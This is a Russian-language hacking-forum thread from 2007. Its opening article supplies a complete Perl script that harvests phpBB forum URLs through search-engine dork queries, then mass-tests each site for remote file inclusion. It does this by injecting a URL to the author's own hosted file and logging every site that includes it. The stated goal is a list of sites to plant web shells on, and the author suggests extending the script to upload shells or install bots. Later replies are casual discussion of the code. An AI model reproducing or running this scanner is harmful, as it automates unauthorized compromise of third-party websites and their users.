Авторские статьи Auto Multi Includes

Discussion in 'Статьи' started by flipper, 24 Feb 2007.

  1. flipper

    flipper Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    131
    Likes Received:
    85
    Reputations:
    29

    ===== ..::Вступление::.. =====

    Найдя (или узнав) какую-либо серьезную багу, наверняка все лезут в google и начинают тыкать по ссылкам проверяя проходит или нет... Ты никогда не задумывался над автоматизацией процесса, ведь любую рутинную работу можно автоматизировать и тогда схема действий будет предельно проста: ты запускаешь немного подправленный скрипт, и уже через час перед тобой список линков куда можно залить шелл. Сейчас мы будем писать тот самый волшебный скрипт для автоматизации всей грязной работы….

    ===== ..::Основная часть::.. =====

    Итак, приступим…
    Скрипт должен выполнять несколько функций, это:
    1. Поиск подходящих сайтов.
    2. Проверка на уязвимости
    3. Если сайт уязвим, то вывод в лог. (в принципе можно пофантазировать и добавить еще что-нибудь, например залить шелл или установить бота)

    Сначала нужно определиться с на какую багу будем проверять. В качестве демонстрации сойдет возможность инклуда в модулях phpbb (подробнее http://someshit.net/showthread.php?t=159 ).
    Как я уже говорил выше нужно найти подходящие сайты для этого лучше использовать не всеми любимый www.google.com, а www.search.aol.com/aolcom. Так как google в последнее время начал часто выдавать страницу sorry, при использовании сложных запросов вроде:
    Code:
    inurl:"forumdisplay.php" +"Powered by: vBulletin Version 3.0.0..4"   
    или
    "Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl -exploit
    Сам код можно скачать: тут

    Второй шаг это идем в google поисковик и начинаем его "мучать" на предмет выдачи как можно большего числа форумов phpbb, либо идем на... http://johnny.ihackstuff.com и ищем там наиболее подходящий вариант.

    Начинаем писать код...
    Code:
    #!/usr/bin/perl -w
    
    # Flipper auto scan ( Public Version )
    # (c)ode by flipper
    # 20.02.2007
    
    use strict;
    #use warnings;
    use LWP::UserAgent;
    
    our $hop = 50; # число скачков по результатам поисковика
    our $banner = 'inurl%3A%22viewforum.php%3Ff%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit'; # текст для поиска
    #our $banner[1] = 'inurl%3A%22viewtopic.php%3Ft%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit';
    our $access = 'LKSJDLMCeijmefeisjiIJF'; # Текст для сравнения (удачный или нет инклуд)
    our $mysite = 'http://www.f-l-i-p-p-e-r.narod.ru/1.txt'; # URL который будет инклудиться
    our @content = ();
    #our $proxy = '172.16.0.1:8080';  # расскоментируйте если хотите использовать
    our $host = '';
    our $query = '';
    our $url = '';
    
    
    # конектимся на поисковик
    print "[::searching::]\n";
    
    for(my $i = 1; $i <= $hop; $i++) # переход по страницам результатов
    {
            my $ua = LWP::UserAgent->new;
           if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
              $ua->proxy('http', "http://$proxy/"); };
           $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
            my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
            $req->header('Accept' => 'text/html');
            my $res = $ua->request($req);
            push @content, $res->content;
    }
    
    # записываем URL'ы в массив
    our @URLS;
    foreach my $page (@content){
     while ($page =~m/http:\/\/(.+?)<\/p>/g){
            if ($1 !~ m/google|cache|translate|websearch|aol|w3|<b>/){
                            push (@URLS,$1);
            }
          }}
    
    #open(URL, ">urls.txt");
    #foreach $url (@uRLS) {print URL "$url\n";}
    #close (URL);
    
    print "[::exploiting::]\n";
    # читаем из файла includ в массив
    open(INCLUD, "<include.txt");
    my @includ = <INCLUD>; close (INCLUD);
    open(SUC, ">SUCCESS.txt");
    # начинаем...
      foreach my $url(@URLS)
    {
         $query=$url;
         $host=$url;                     #                       http://www.somehost.ru/phpbb/viewforum.php|f=40
         $host =~ s/href=\"?http:\/\///; # чистим URL что бы     www.somehost.ru/phpbb/viewforum.php|f=40
         $query=~ s/(.*\/)(.*)/$1/;      # он был пригоден       www.somehost.ru/phpbb/
         $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; # для подстановки www.somehost.ru/
        # if ($query eq "") {$query ="/";};
            foreach my $include (@includ) {   # пробуем подставить URL с нашим кодом
                 chomp($include);         # убираем символ \n
                 #  print "Host: $host\n";
                 #  print "URL: $query\n";
                 #  print "INC: $include\n";
                 #  print "MY: $mysite\n";
                 #  print LOG "host: $query$include$mysite\n----------------\n\n"; };
                   my $ua = LWP::UserAgent->new;
                   if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
                      $ua->proxy('http', "http://$proxy/"); };
                   $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
                   my $req = HTTP::Request->new(GET => "http://$query$include$mysite");
                   $req->header('Accept' => 'text/html');
                   my $res = $ua->request($req);
                   if($res->content =~ /$access/oi) {print SUC "$query$include\n";} #нашли свой текст значит удачно!!!
    #                else {print "[-] $a$b$include\n";}
    #             }
            }
    }
    
    close (SUC);
    
    ===== ..::Заключение::.. =====

    Хотелось бы дать несколько пояснений. В переменную $mysite записывается адрес файла (или сайта) который будет инклудиться, в случае удачи, текст переменной $access будет присутствовать на странице и будет выведен в лог. В принципе скрипт можно адаптировать под любую багу, а также добавить функцию для закачки шелла или установки бота.
    Если вы не знаете Perl то рекомендую прочитать ссылки на манны в конце статьи, а далее уже приобрести какой-нибудь хороший учебник.
    Да и еще… полноценное тестирование скрипта я не проводил, в принципе если наличие баги на лицо то он должен ее показать. Сам скрипт является одним из первых моих творений после начала изучения Perl’a поэтому ногами за кривое его написание просьба не пинать, а конструктивная критика наоборот приветствуется. Еще недавно видел k1b0rg выкладывал свой скрипт вобщем-то при небольшой доработке он может делать тоже самое, а из моего можно сделать модуль...
    Ну, вот и все. Удачи...

    При написании скрипта часть взята от s0L0b0t: http://hellknights.void.ru/
    Так же Multi includes (видел у кого-то в подписи) http://www.someshit.net

    В дополнение рекомендую почитать:
    http://www.iho.ru/faq/manual/perl.html
    http://www.lib.ru/PERL/LEONOV/perl_www.txt

    Copyright© 2007 Flipper(2900358). All rights reserved.
     
    #1 flipper, 24 Feb 2007
    Last edited by a moderator: 8 Mar 2007
    7 people like this.
  2. flipper

    flipper Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    131
    Likes Received:
    85
    Reputations:
    29
    Хоть сказал бы кто нибудь, понравилась или нет???
     
    2 people like this.
  3. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    извини конечно но идея ненова -- помнится уже читал похошее в журнале хакер пару лет назад но молодец конечно --- хотябы за то что юзаешь LWP а не слащавый IO:Socket
     
  4. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> извини конечно но идея ненова -- помнится уже читал похошее в журнале хакер пару лет назад но молодец конечно --- хотябы за то что юзаешь LWP а не слащавый IO:Socket

    лол )), и чем это IO:Socket так слащав ?? )
     
  5. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    из-за простаты LWP +))
    Мне наобарот нравиться испозовать чистый use Socket а не IO::Socket, IO::Socket вообще не прикалывает.
     
  6. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Написал бы с потоками еще, ьыло бы супер. А так строго говоря очередной крякер инета )
     
  7. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Ох что-то мне слишком знаком этот код... 100% где-то видел на забугорных сайтах
     
  8. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> Ох что-то мне слишком знаком этот код... 100% где-то видел на забугорных сайтах

    так может ты его видел как раз-таки в боте n4n'а ? )